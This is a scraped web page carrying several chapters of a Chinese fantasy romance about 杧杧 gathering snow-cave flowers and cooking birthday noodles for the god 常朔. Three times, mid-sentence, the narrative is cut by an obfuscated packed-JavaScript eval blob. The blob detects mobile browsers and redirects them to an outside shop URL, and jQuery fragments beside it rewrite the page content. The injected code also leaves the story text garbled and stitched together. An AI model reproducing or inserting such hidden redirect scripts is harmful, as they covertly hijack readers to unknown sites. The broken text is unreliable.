;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059233|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我每次只挣够抓一份药的钱就走。 “后来赌坊老板还是知道了我会占卜这事,他不愿见我赢钱,自然视我为眼中钉。” “真是可恶!”杧杧义愤填膺,“大家各凭本事,他一句不乐意就把人往绝路上逼,心胸好生狭隘!” “现在你母亲的病治好了吗?” 楚生摇头。 两人说话间,木秋宜已经把自己收拾好,脸上洗干净,头发束得端端正正,就是衣服仍然很脏。 洗干净之后才教人看清楚,原来木秋宜长得十分清秀,深棕色头发,五官小巧精致,稍有些小气,看着像女孩子。 木秋宜简直长得和他名字一样秀气。 还好乾坤袋里衣服装得多,杧杧换下自己身上的脏衣服。那套衣服已经穿不了了,又脏又破,只能扔掉。 楚生给二人煮面去了,木秋宜喊着累,又不愿睡在楚生屋子里,便跑去外面找了棵树爬上去睡下。现在堂屋里只剩下杧杧。 “阿朔,你还在吗?”杧杧在心里喊了声。 “嗯。” 常朔的声音总是能让她感到心安。杧杧开始絮絮叨叨讲起她一路所见,事无巨细,常朔在那头沉默地听着。 黑市的事情,常朔都知道,他只提醒杧杧不要管太多,命保住就行,黑市水深,轻易掺和恐深陷泥潭。 蓦地,杧杧听见一声极小的咳嗽。 “阿朔,你怎么了?” “无妨。” 这时,堂屋的门“吱呀”一声打开了,门外走进来一位病怏怏的妇人。她和楚生眉眼间有相似之处,面色发青,看起来大约人类年龄的三四十岁左右。 “姑娘是……” “娘,您怎么出来了?”没等这妇人说完,楚生已经快步走来扶她进屋坐下。 “行了行了,我又没瘸。”楚母挥开他的手。 “杧杧,这位便是我母亲。”楚生介绍道,“娘,这是杧杧,孩儿在外面认识的好朋友。” 都说妖族情感淡漠,也许是楚生仍留有身为人类时的记忆,他与他母亲之间,倒有别样的温情。 楚母刚坐下,又一连咳了好几声,楚生见状立马给她倒水。 “我去给您煎药。”说着,楚生又便出去了。 楚母擦了擦嘴角咳出来的血,笑眯眯地盯着杧杧。 “小姑娘,你长得真好看。” “谢谢,您也很好看!”杧杧如实说,楚母虽一脸憔悴,却仍挡不住她秀美的容颜,这点病气反倒为她增添一分我见犹怜之感。 “哎哟,你可真会说话。”楚母笑开颜,却又咳嗽起来。她拿起桌上的碗将水一饮而尽,仍没止住咳嗽。 杧杧见状,连忙给她倒水,但桌上的水壶已经空了,她瞧楚母咳得厉害,便把自己的水壶拿出来给她倒了一碗水。 水壶里装的自然是常朔给她装的长生水。这水壶内有乾坤,每日会自动续水。 楚母只喝一口,便觉察出这水不一般。她停止咳嗽,又笑眯眯地看着杧杧。 “小姑娘,你这水可真好!不知是哪里来的?” “是我家里人给的。” “这样啊。”楚母笑意更浓,又咳了几声,“你瞧我一直咳嗽,能不能再给我喝点?” “当然可以。”杧杧大方地给楚母倒水。 楚母一连喝了三大碗,面色都红润不少,这才心满意足。 这时候,楚生恰巧端着面进来。 “儿啊,我要出门几天,好久没开荤了,过完瘾就回来。”楚母站起身,拍拍楚生肩膀,中气十足,哪里还有先前病态的模样。 “娘?” 楚母又转过身捏捏杧杧的脸,笑容更盛:“好孩子,多谢你的水啦!” 自从她妖丹受损,难以复原,身体每况愈下,楚生找来的那些药一点用都没有。杧杧这水十分神奇,她多要了些喝,受损的妖丹竟被修复大半! 她已经好久没出门好好玩儿了,这回不玩个痛快,她是不会回来的。 “好好招待你娘的救命恩人,我走啦。” 说完,她便头也不回地出门,楚生再回头看时,哪里还有楚母的身影? 杧杧知道应当是她的水起了作用,反正她有很多,若真救了楚生母亲的性命,不是很好。 楚生一脸问号,不知方才发生了什么,隐约猜到也许是杧杧有什么厉害的药物治好了他娘,于是恭恭敬敬给杧杧道了谢。 “先生不必客气,若不是先生相助,恐怕我现在还在那鬼地方呢!”杧杧道。 “看来在下算的很准,我与姑娘当真十分有缘。”楚生把面推到杧杧面前,给她递上筷子,“尝尝在下的手艺。” 说完,他刚想去叫醒木秋宜,就见人已经自觉来了。 木秋宜小憩一会儿,恢复了点精神,他鼻子又灵,闻着味儿就醒了。不过他没进屋,只是靠在门边。 虽然很想吃,但木秋宜又碍于面子装作不感兴趣的样子。只是不断飘过来眼神和咕咕作响的肚子出卖了他。 楚生忍俊不禁,“山猫先生,既然饿了,不妨尝尝在下的手艺?” 听这话,木秋宜好像感觉自己尾巴被人抓出来了。罢了,既然这人能看穿他的原身,必然不简单,不能硬碰硬。想到这一点,他极不自然地走过去。 只是木秋宜真的想多了,楚生的功力远没有那么深,他完全是算出来的。 “行吧,我就勉为其难地尝一下。”他走到桌前坐下,早就咽口水的他狼吞虎咽起来。 杧杧哈哈笑。 只是简单的素面,清凉的汤里排列着整齐的面条,几点散落的油珠,几颗点缀调香的葱花,却香得人迷糊了。 杧杧夹起一箸面吃进嘴里,神色有些落寞,她闻着虽香,吃着却无味,不免有些割裂。 不过没事,闻着香就当吃着也是这个味道啦! “阿朔。”嘴里吃着面,杧杧心里敲了敲常朔,这该不能算她吃饭还讲话吧? “嗯。” 算算时间,杧杧也才出门十几天,还有一大半都在昏迷中。可她就是觉得过了好久好久。 “阿朔,我想你了。”杧杧心里说完,夹起最后一箸面条吃掉。 常朔怔愣住,他苍白的脸上露出一抹难以置信。她这是,在挂念自己? “嗯。”不知沉默了多久,杧杧还以为水环出什么问题时,常朔开口,“那便回来吧。” “好。” 7. 真心送 三人从黑市出来时天色已经不早,等杧杧两人吃完面,院子里的鸡都开始打鸣了。 杧杧预备告别楚生,回北丏山。世界这么大,什么时候出来玩都行,现在她有些想家。 木秋宜也提出离开,他跟楚生不熟,也就刚认识,不可能一直赖在别人家,况且他也不喜欢楚生。 简单休整后,楚生送两人出门。 外面天空朦朦胧胧,泛着鱼肚白,冀苍还未入秋,清晨的山林里蝉在长鸣,蟋蟀在叫。 杧杧临走时,又拉着楚生说话。其实没什么必要嘱托的内容,她拿出了自己的宝贝纸人递给楚生。 “这是我常用来演故事的纸人,很多时候主角都是你和秦娘。”杧杧笑说,“你算得很准,我们确实有缘,所以我把它们送给你,就当交个朋友。” “多谢杧杧好意,既是你心爱之物,还是自己留着罢。”楚生摆摆手,道,“很高兴能和你做朋友,只是斯人已逝……” 说到这儿,楚生神情恍惚起来,脑袋里浮现出和秦娘的点点滴滴,如在昨日。 “抱歉。”杧杧愧疚道。 “无妨。”楚生笑了笑,真挚且温婉,“在下只是不想一直拘泥于过去,很多事心里记着便够了,得往前看不是吗?” “是哦。” “既然与姑娘有缘,在下再给姑娘算一卦吧,不收钱。” 听这话,杧杧高兴道:“能算姻缘吗?” 楚生哈哈两声,无奈道:“在下于算命占卜一道,上知天下知地,唯有姻缘,算不准的。” 见杧杧期待的样子,楚生又道:“若你执意,且相信在下,算算倒也无妨。” “好。” 木秋宜抱着手靠在茅草屋外树边等,百无聊赖,嘴里不知从哪儿搞了根草来叼着,吊儿郎当的样子。 杧杧出门时没注意到他。 “诶。” “?”杧杧心里想着楚生的卦辞,冷不丁被吓一跳,“你怎么没走?” “你去哪儿?”木秋宜不问反答。 “北丏山。” “不是吧?我听说那座雪山在北境,离这儿十万八千里,终年落雪,寒冷非常,你去那儿干嘛?”木秋宜并不理解。 山猫族虽喜欢寒冷,也住在雪原,但北丏山可不是一般的雪原,那儿可以说是整个三界里最冷的地方。 “我家住那儿。” 木秋宜嘴角抽了抽,不敢置信,思考自己要是去她家,穿得这么单薄能不能抵抗得住。 杧杧边往前走边捣鼓水环。走了几步,她又停下来回头看。 “你跟着我做什么?” “顺路。” “你家也住北丏山?” “没有,那地方太冷了,我家在北丏山不远处。” 他嘴里的不远处事实上是从北丏山往南出发,翻过两座山头,就能到山猫的栖息地。 “哦。”杧杧已经激活水环,此刻她手背上的水纹印记正幽幽泛着光。杧杧觉得两人还没熟到可以一起回家的地步,便朝木秋宜挥挥手,道:“那再见啦,木四。” 话音刚落,不等木秋宜看清,杧杧就消失在原地。 木秋宜:“?” 水环直接将杧杧传送到水榭门口,她跑进去,随后大喊一声:“阿朔,我回来啦!” 但没人应声。现在天刚朦朦亮的样子,杧杧到处没找到常朔,估摸着他应当出门采无根水了。 她便先去看了眼雪莲,两株都已经长出花苞。接着又激动地跑去兔子窝摸摸正睡觉的小白。 才一个月不到,小白看着竟敦实了许多,也不知阿朔给它喂了什么。 为了不把小白吵醒,杧杧只轻轻摸了几下。折腾这么久,杧杧有些困。 虽然几个时辰前她才从奴隶洞里醒过来,但她一向身体不好、修为不高,对战活死人又消耗太多力气,这会儿脚步虚浮,困意侵占大脑。 杧杧几乎是倒在床就睡着了,连鞋都没来得及脱,还是她的小床睡着舒服。 迷迷糊糊之间,杧杧不知自己睡了多久,她隐约听见说话声。睁开眼从床上坐起来,身上不知什么时候盖上被子,鞋子也被整齐地摆在床边。 应当是常朔回来了。 杧杧换了身衣服,把头发重新梳成两个漂亮的小髻,这才开门走出去。 原来她没有听错,的确有客人来了。 浅潭边的平台上,两个气质斐然的人对坐在木桌前。其中一位青丝如瀑、面若冠玉,正面无表情地喝茶,正是常朔。 对面那位,束着高马尾,红衣长袍、金冠珠钗,穿得一身骚包,又天生长得一副笑脸,正喋喋不休地跟常朔说话。 二人见杧杧出来,都转头过来。 “醒了。”开口的是常朔。 “嗯。” “喂,常朔,你不介绍一下吗?”那名男子语气颇有些撒娇意味的不满。 常朔看了他一眼,轻笑一声,不紧不慢地收拾茶具,“你有什么好介绍的。” “啧。”那人被噎了也不生气,转而跟杧杧介绍自己,“你好小姑娘,我是越沨。”说罢还笑嘻嘻地朝杧杧挥挥手。 不错,这个哪儿哪儿看着都骚的,便是千里送越沨。 “你好,我是杧杧。”杧杧也礼貌回应他,说完,便又去看兔子。 平台边,越沨继续跟常朔说话。他声音不大,却没刻意避着,刚好能被杧杧听见。 “我说,你真不打算回去?” “不。” “别吧,好歹咱们今年过整数生辰,云中天提前几个月就开始筹备这次生辰宴了,你不回去还算什么?” 因为是天道最早送来的四位神明,诞生于天地伊始之时,他们其实不知道自己的生辰在哪天。 只是后来云中天的神仙多起来,三界也有了雏形。神仙们下界游玩,学到了这一庆祝方式。 四位天神诞生历史太过悠久,就是他们本人恐怕也记不清了,众神便结合四天神所对应的星辰运行规律,给他们订了个共同的日子,当作生日。 从前,这种活动往往是越沨和白笙最积极,常朔跟阙京就走个过场。后来白笙战亡,常朔就不再参加。生辰宴愈发冷清,很多时候干脆都没办,只是大家送送礼物就算了。 好不容易盼来了天神们十万年整的生辰,虽然少了一个,仍然应该好好操办。 越沨这次来,正是为此事。 可常朔还是从前那个态度,不关心不在意不参加。 都道他常朔心是石头做的,没有温度也不知情为何物。越沨却清楚,他们四个里,常朔其实是最重感情的那个。 面上不显而已。 常朔职责所在,需要公事公办、不偏不倚,有时候甚至不讲情面,一贯帮理不帮亲。 或许正因为他的规则里从来没有徇私舞弊、曲意逢迎,骨子里都是公公正正的,因此于情感一道他也坚决遵循这一套逻辑。 有恩报恩,有仇报仇,事不关己便不多掺合,若与他有关,再小再小的事他都能记得。这让越沨一度觉得常朔其实是固执的。 因此在常朔看来,生辰宴一定要四个整整齐齐,少一个都不算数,他宁愿不参加。 “算我求你了行不?你不在的这些年,每回都是我和阙京两个人过,一点儿没劲。”他顿了顿,又继续说,“阿笙最喜欢热闹,即使她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他思考,良久后才给出答复。 “我的生命漫长,有意义的时候太少,大多时间里都是无趣枯燥的一种状态。每天重复同样的工作,时间久了会变得麻木。 “便觉得,很多事情本身没什么意思,之所以印象深刻,是因为身边有值得共度那些时刻的人。 “他们是牵动情感的引绳,若没有这些,再好再盛大的宴会,不过就是一桌饭菜,几声寒暄罢了。” 杧杧头一回听常朔一口气说这么多话,也是杧杧也头一回不那么赞同他的话。 雪杧树的生命也不算短。 杧杧就觉得,每天都是不一样的,每一件事都是特别的,即使只有她自己一人,孤独或许会有,可孤独也是生命的一种意义。 “阿朔,你想过生日吗?” 这个问题竟然让常朔一时间不知道怎样回答。 是的,他不知道。 他位高权重,做事便不能随心所欲,凡事要遵守规则,要有理由,要井井有条。 旁的人问他问题,疑问以“何故”开头,而他回答千篇一律的“缘由”。 杧杧却只问他,想不想? 好像只要他说想,眼前这个瘦弱的女孩就能让他如愿以偿似的。 杧杧见常朔不回答,也不着急,耐心地等着他开口。 “我若说想,你当如何?”他回答不出来问题,便把问题再抛回去。 杧杧左右不过少女心性,浪漫的事想很多。 她很认真地回答:“我来为你过生日呀。” 对于这个回答,常朔并不惊讶,完全能料到。就算这样,此时他心理也有一丝隐秘的波动。 是为何? 在想出答案前,他暂且将这种情绪波动理解为新奇。 8. 笑开颜 杧杧要给常朔过生日不是说说而已。常朔的生日在七月三十,她还有将近一个月的时间准备。 过生日无非就是吃寿面,喝寿酒,看寿戏。当然,这是大洲人的过法。况且祝福长寿对常朔来说没什么用,甚至可能祝短寿他还高兴一点。 话虽这么说,杧杧还是决定给常朔煮一碗寿面。毕竟常朔每天都给她做饭,不论好不好吃,心意是要有的。 生辰礼这方面杧杧犯了难。 送什么好呢?常朔什么都不缺。太华丽的没有用,太朴实的显得随便。想来想去,杧杧竟不知道常朔喜欢什么。 喜欢……喜欢茶!对了,常朔喜欢喝茶。 不如送茶叶吧。 决定好以后,杧杧去书房找了食谱,还有一本《茶经》。不得不说,这间书房关键时刻真的很有用。 她见常朔日日照着食谱做饭,定然是食谱上的内容十分细致浅显,一学就懂,杧杧坚信自己也能学会。 为了保持神秘感,杧杧总在晚上常朔睡下后偷偷溜去厨房。 可杧杧从未下过厨房,很多事看起来容易做起来难。揉面的时候,要不就是水加少了太干,要么就是水加多了之后面团越揉越大。 好不容易磕磕巴巴揉好面,结果醒面时她又睡着,猛然惊醒发现面团已经被冻成冰块了。 捣鼓了两个晚上,杧杧终于放弃自己研究。这样不仅慢,而且浪费食材。 可是没有面不行,杧杧想起楚生做的那碗面。虽然她吃不出味道,但闻着确实香,就看木四狼吞虎咽的模样,定是好吃的。 杧杧决定去请教楚生。反正她有水环,想去哪儿都行。 只是要找楚生的话便不能大半夜去了,打扰到人家睡觉不好。 杧杧只能在吃过晚饭后去,这段时间常朔一般在书房里看书,她打坐完就能直接去。 事先跟楚生说好,杧杧一到时间便带好食材直接去了楚生家。 杧杧每日学一点,今天学和面,明天学兑料,杧杧是很机灵的,没几天就学会了,做出来的面也有模有样,这好歹比她自己摸索来的快。 出师的那日,杧杧带了许多北丏山上的松果来感谢楚生。礼轻情意重,松果很好吃。 没想到的是,杧杧这天来的时候碰见了木秋宜。 原来上次分别后,木秋宜被山猫王抓回家狠狠揍了一顿之后关起来。但他哪是关得住的,在屋子里养了几天伤,好得差不多了又溜走了。 他无所事事,不知道去哪儿,没什么目的地在冀苍乱逛。 这两日到了妖市,说实话妖市没什么好玩的,木秋宜可没有多余的钱买东买西,他对那些东西也不感兴趣。 来这儿呢,还有个原因,自从上次吃了碗面,他就一直惦记着楚生的厨艺。今日恰好碰见杧杧,楚生做了一大桌菜,没忍住便跟来了。 木秋宜当然不能说自己是跑来蹭饭的,只是刚好看见杧杧,想来叙叙旧。 杧杧笑了笑,没拆穿他。 不得不说,楚生的厨艺实在高超,杧杧光是闻着味儿就满足了。 伊果的损伤在慢慢恢复,等它完全长好了,也许自己的味觉就恢复了。杧杧这样安慰自己。 饭桌上,杧杧问楚生用茶叶当生日礼物送什么比较合适,还要特别一点的。 “谁要过生日?”木秋宜不停扒拉碗里的饭还不忘问一嘴。 “我家里人。”杧杧道。 楚生思考了会儿,如实说:“这个,我倒不是很有研究……” “我知道!”木秋宜想到什么,突然放下碗筷,兴奋地说,“我知道北境有一种植物,叫岚盈花。说是花,其实只是一种带香的草。它的香味沁人心脾,和普通的茶饼一起煮,会有不一样的味道呢。我爹那个臭老头招待客人就用的这种茶。” “只是不易种植,采摘条件也比较恶劣。这种花喜阴,通常长在山洞里,并且最好是雪怪山洞。” 杧杧疑惑又好奇,问道:“为何是雪怪山洞?” 楚生对这种草有些了解,听了不禁笑出声,他摇摇头:“你不会想知道的。” 这么一说杧杧更好奇了,一脸期待地望着木秋宜,快把他脸上盯出个洞来。 木秋宜讪讪地笑,解释道:“因为它们喜欢雪怪的……粪便。” 空气一瞬间凝固了似的,杧杧倒不觉得有什么,能够接受,好花有特殊的生长需求也不奇怪,就是碗里的饭有点吃不下去了。 “行,就这个。”杧杧思索一阵,道。 “那人对你很重要吗,值得你冒这么大生命危险去摘岚盈花?”木秋宜看她坚定的样子,问。 “嗯。”杧杧默声一瞬,又补充,“特别重要。” 重要到可以为他献出生命。 决定送岚盈花之后,杧杧回了北丏山水榭,思考进雪怪山洞的办法。 进去不难,山洞不是封闭的,里面也没什么机关陷阱。难的是在不吵醒雪怪的前提下,摘到岚盈花后全身而退。 这群雪怪眼睛不好使,耳朵可灵,就是在他们自己呼噜震天响的情况下,都能听见脚边蜘蛛结网的声音。 很快杧杧心底有了数。 出发时,木秋宜提出要跟她一起去。理由是他也想摘一点回去送给母亲。这花因难摘便珍贵,他爹用得都抠抠搜搜,更别提他这个在家不受宠的小儿子,闻气味的份儿都没有。 两人走路上山,雪怪山洞不难找,山峰上就有一个。快到时,杧杧递给木秋宜一张隐声符。 不错,这便是杧杧想出来的办法。既然隐身符有,自然隐声符也有。 为以防万一,杧杧还编了一大堆话,专门找常朔帮忙写的符纸。写符纸她自己也会,但写出来的符纸在功能上往往不稳定,用起来冒险。 隐声符顾名思义能消除符纸持有者发出的所有声音,这样在熟睡雪怪面前几乎算不存在。 即使贴上隐声符,杧杧还是下意识屏住呼吸,放轻脚步,。 山洞隧道较长,但在洞口就听见里面传出的巨大呼噜声,越往里走声音越大,杧杧塞了两个棉团在耳朵里,这才稍微感觉好点。 要说气味,杧杧只闻到一股潮湿的青苔味。雪怪食岩,排泄物其实是一团泥浆,没有异味。走得深了,渐渐能闻道一丝花的清香。 洞内倒是比外面暖和些,难怪岚盈花能生存下来。 很快走到尽头,这里只比隧道里开阔一些。贴着岩壁的地上有几块平整的大石板,两个体型庞大的雪怪此刻就并排躺在上面酣然大睡。 这里的香味更浓郁,看来这雪怪不大讲卫生,地上随处可见的泥浆堆,自然到处都是岚盈花。 杧杧不敢靠近雪怪,只能在靠近隧道的泥浆堆里摘了些。差不多后,杧杧准备往回走,一回头才发现木秋宜没跟上来。 “哎哟!”杧杧心里感叹一声,准备回去找他。 原来这山洞里伸手不见五指,两人又不敢点火把,只能摸黑走,杧杧夜视极好,能看清楚路便走得快些。两人都没声音,一不注意就把木秋宜落在后面了。 谁知,杧杧刚转身走出第一步,山洞开始剧烈震动起来,面前的出口被震碎的岩石堵得死死的。 杧杧都要怀疑她跟雪怪是不是天生不对付,每次遇到准没好事。 这时,杧杧突然意识到,洞内的呼噜声不知何时消失了。 她愣愣地转过头,便对上一张近在咫尺、凶神恶煞的大脸,鼻孔正对着她出气。 杧杧摸了摸身上贴的隐声符,确认还在后又大胆起来,反正现在雪怪看不见,也听不见。 大概她真的和雪怪八字不合吧,老天都要做怪。杧杧一步步后退直到身体贴住墙面,这时,从墙上掉下一块小碎石,杧杧眼疾手快接住。 好险,这块石头掉下去了那还得了? 然而高兴不了太早,杧杧这边抓住了一块碎石,背后趁机又掉下一颗,防不胜防。 清脆的撞击声响起,雪怪的眼睛立马转过来紧盯着她,杧杧尽量让自己保持冷静。 “又是你?”只听脑袋上方传来一声充满愤怒与疑惑的质问,竟是那雪怪在说话! 杧杧:“?” 没人告诉她雪怪还会说话啊!而且这东西是怎么发现自己的?它眼睛又不好,按理说不应该能看见,就算耳朵灵,杧杧有隐声符也不会被听见。 刚才那颗小石块在她身旁落下,但远远不至于能让雪怪看准自己位置的程度。 啊!是气味。 她怎么就把这茬给忘了。 既然已经被发现,再躲也没用。况且雪怪既然会说话,想必是能沟通的,或许她可以跟雪怪解释清楚。 杧杧撕掉身上的隐声符,说:“哈哈,雪怪兄弟此话何意?咱们以前见过吗?” “呵呵,上回雪崩,就是你往我耳朵里塞石子,扫起雪尘迷我眼睛!” 原来如此,杧杧心底苦笑,真是冤家路窄。不过这天底下的雪怪都长一个样,她哪里分辨得出来。 这回不好再四两拨千斤地使用逃跑战术,杧杧当然也不能让雪怪把自己拿去当岚盈花的肥料,于是计上心头。 “你哭什么?”雪怪问,它声音粗旷,听着跟威胁无差别。 杧杧挤出几滴眼泪,带着哭腔,委屈地说:“雪怪大哥,我不是故意闯进你家的……呜呜呜……只是,只是我家里的兄长重病不愈,唯一的愿望就是想喝一口岚盈花泡的茶。 “兄长待我极好,他的心愿我又怎能不帮他完成?这才闯进你的洞穴……但我发誓,我只是想来采花,不想打扰你们,山洞坍塌也绝不是我做的!” 杧杧哭得真切,声音软软的,想不信都难,况且她小小人一个,应当也没能耐弄塌山洞。 雪怪收起剑拔弩张,在她面前坐下来,轻声安慰道:“你别哭了,我不怪你就是。这里的花你想要多少有多少。” 这时,另一只体型稍小的雪怪从后面出来,将手上捏的一小把岚盈花递到杧杧面前。 杧杧接过花,道:“谢谢。” 她抹去脸上的泪水,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059235|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底暗笑。 成了。她赌的便是这雪怪吃软不吃硬。 书中记载:“有兽焉,聚群穴居于幽寒之山。其状若人,体硕大,高九尺有余;其鸣如雷贯耳,裂石穿空;其性朴质,易怒,喜食岩。” 简单来说,就是一只巨大的且脾气暴躁的猫,只要稍微顺一下毛就会温和起来。 “唉,现在睡个觉都不容易,风暴、雪崩,今天又是洞塌了,这几年俺已经被吵醒整整三次了!”给杧杧花那只小雪怪抱怨道。 “风暴?”杧杧敏感地抓住了关键字眼。 反正都被吵醒了,聊聊天也不错,两只雪怪都挑了个舒服的姿势坐下。 “是啊,七年前那晚风雪夜,俺从来没见过那么大风雪,被吵得睡不着。”小雪怪解释道。 七年前,也就是杧杧化形那一晚。 “那场风暴大得像人为的。外面啥都看不见,我立在雪地里都差点站不住。”大雪怪回想起那一晚,也十分感叹。 “然后呢?”杧杧迫切地问道,她直觉事关于凛,“你们有出门吗?” 听杧杧这样问,小雪怪有些激动地说:“俺当时睡不着,就想出门看一眼。但就出去没多久,就好像失去意识一般,等俺再次有意识的时候,已经回到洞里,外面风暴也停了。” “你不记得发生了什么?” “不记得。” “是啊,他当时像着了魔,我找到他时正在雪地里发疯,被我一拳打晕,醒过来便好了。”大雪怪也回忆道。 “哈哈,是啊,真感谢你。” 杧杧心里的疑问越来越多,因为那场风雪,还有前来捣乱的雪怪,凛永远地离开了。 雪怪蠢笨,万一记岔了也有可能,但见它笃定的模样,一时间她竟更倾向于选择相信。 若雪怪所言非虚,那晚有什么东西在操控暴风雪,操控它出来捣乱,那么凛的死就不是意外! 杧杧还欲再问,却见面前的雪怪都打起哈欠。她怕一会儿它们没有预兆就睡过去,连忙请他们帮忙挪开堵塞的岩石。 从洞里出来,杧杧找到了在隧道里急得团团转的木秋宜。方才小雪怪又给了她许多岚盈花,杧杧分了些给木秋宜,两人这才出去。 下山后,木秋宜没跟着杧杧去水榭坐客,匆匆离开,说实话,他真受不了北丏山这么冷的天。 杧杧照着木秋宜给的方子把茶制好,她决定等常朔生日过后在告诉他雪怪洞里的事。 大概是心里期待,杧杧掰着手指头过日子,只觉得度日如年。 终于,等到了常朔生日这一天。 杧杧起了个大早,赶着常朔出门采无根水的时间,跟他道贺。 “阿朔,生辰快乐!” 常朔微微挑眉,没想到她还记着。也对,杧杧这一个月神出鬼没,应当是在忙活这个,他还真有点期待她的礼物。 “嗯。” “阿朔,今日我来为你做饭可好?” “嗯。”常朔神情淡淡的,“别伤着。” “好!” 厨房的面粉之前被杧杧用完了,她只好出门买。没有去太远的地方,就在山下镇子里的集市上。 杧杧买了两大袋面粉,还有一大筐鸡蛋。 店家收了整钱没找补,心里乐开花,见杧杧一个人买这么多东西,刚要去问问她是否需要帮忙搬运,眨眼间却不见杧杧身影。 店家本以为自己看晃眼了,揉了揉眼睛,又跑出去左看右看,确实没看见。若不是他手里的钱捏得热乎,还真以为自己在做梦。 杧杧用水环将自己传送回去后,先去喂小白吃了白菜,养护雪莲之后,这才哼哧哼哧地把两袋面粉和一大筐鸡蛋搬去厨房。 本以为学了那么久,应当没有问题,然而还是出了差错。 原来是北丏山气候不同于妖市,面团容易被冻硬,像石头一样。 杧杧忘了这茬,好在面粉买得多,经过调整,又想了很多办法,终于能进行下一步。 常朔是神仙不用吃饭,杧杧就不同了,从天亮忙到天黑,她饿得肚子咕咕直叫,便只好先啃点小白的胡萝卜充饥。 等杧杧啃完两根胡萝卜后,面终于做好了,此时天也快黑透了。 杧杧将面小心翼翼地端去浅潭边平台上,常朔早已等候多时。 “快尝尝。”杧杧期待地看着常朔。 “寿面?” “嗯嗯。“杧杧点头,“但这是不一样的寿面。” “哦?哪里不同?” “我这碗面,是祝阿朔永远快乐的开心幸福面!”杧杧笑得爽朗,有些脸红。 他的……开心幸福面。 常朔微微笑了下,杧杧取名字的能力叫人不敢恭维,却很单纯简单,如她一般。面前的少女笑容真挚,他心里竟又出现了那种奇怪的波动。 他夹起一箸面吃进嘴里,细细咀嚼。这面劲道十足,不说绝世美味,至少能做到不咸不淡,一切都刚刚好。 原来不是新奇,是高兴、期待还有欢喜。 9. 心中意 “好吃。”常朔给出评价。 杧杧没有味觉尚且能把一碗面做到如此,看来他果真是没什么天赋。 等他一碗面吃完,杧杧奉上自己的礼物。 她将装着加工好的岚盈花的一个精致木盒子递给常朔,道:“这是贺礼。” “多谢。” “不客气。”杧杧又问,“阿朔,你喜欢吗?” 常朔打开盒子看了眼,岚盈花不好摘,加工工序也复杂,更难得的是,要根据喝茶人的喜好调节香味,浓一点淡一点喝起来差别很大。这份礼物当真不是金钱能买到的。 “喜欢。”常朔的心底不禁柔软一片。 见常朔喜欢,杧杧便觉得自己的忙碌都很值得,她也真心欢喜。 “对了阿朔,我还有个礼物!” “还有?” “嗯,你等一下。”杧杧跑进屋子里,拿出一个新的小乾坤袋,扯了几根头发丢进去,又到了些长生水,很快,乾坤袋里的头发变成几片银叶子,一生二,二生三,银叶子越变越多。 她之前就发现长生水能生发,头发变成银叶子,而银叶子可以用来炸小烟花。 杧杧没让常朔久等,拿着快装满的乾坤袋就跑出去。然而她跑得着急,下台阶时一个没注意跨了三级台阶,脚一崴摔倒了。 这一摔,乾坤袋里的东西都掉出来。只见银叶子撒在地板上,一个接一个噼里啪啦地炸出白色火光。 “没事吧?”常朔一个瞬移到跟前把杧杧扶起来,“如何这么不小心?” 杧杧坐在地上,她扭到脚踝,膝盖应该也磨破了,细细密密的痛阵阵传来,刺痛感越来越强。原本要给常朔放的小烟花全都撒了,杧杧想去捡,却被常朔拉回来。 “进屋,我看看你伤哪儿了。”常朔的语气坚决。 “可是……”杧杧的眼泪夺眶而出,心里有股难以名状的委屈。 “进屋。” 常朔万年不变的冰山脸此刻好像又结了一层冰似的,严肃得吓人,杧杧只好在他的搀扶下站起来。 她的脚疼极了,根本站不稳。 杧杧正要准备跳进屋时,就见常朔在她身前蹲下,宽阔的后背就在她眼前。 “上来。” 她心里从未有过这样紧张的时刻,就是对战活死人,面对雪怪的时候也没有过。杧杧擦干眼泪,回头看了看还没炸完的银叶子,有一阵失落。 不太远的一段路,常朔背着杧杧,走得极稳。杧杧脸有些热,她仔细地盯着常朔的黑发,要数清到底有多少根似的。 屋内,常朔把杧杧直接放到床上坐着。 “拖鞋袜。”他命令道。 “哦。”杧杧脱掉自己的鞋袜,脚踝处已经肿起一处青紫,隐隐作痛。 常朔用手轻轻探了下,没伤着骨头。随后,他指尖缓缓有神力流出,落到杧杧伤处,如蛛丝般交错包裹,沁入其中。 见淤血慢慢消退后,常朔又让她把裤脚挽起来。膝盖处擦伤到不严重,用药草敷一下就会好。 “笨。”常朔给她收拾好伤口,“一周内不准用这只脚。” “哦。”杧杧心里委屈,面上也故意显出来,这时候她不敢跟常朔对着干,只好撇撇嘴。 常朔假装没看见她这些小动作,帮她把裤脚理整齐后,站起身来,“早些休息。” 说罢,他就要转身离开。 “阿朔。”杧杧喊住他,“炸烟花……” 她还念着那堆银叶子,常朔不知该笑还是该生气,“生日年年都有,明年再给我看,一样的。” “好!”杧杧被安慰到,干脆地答应。 这厢房里杧杧睡下后,常朔在门外站了会儿,才转身去书房。 他能教杧杧的防身技巧太少,虽然不要命地给她法宝,但有些紧急的情况也来不及用。 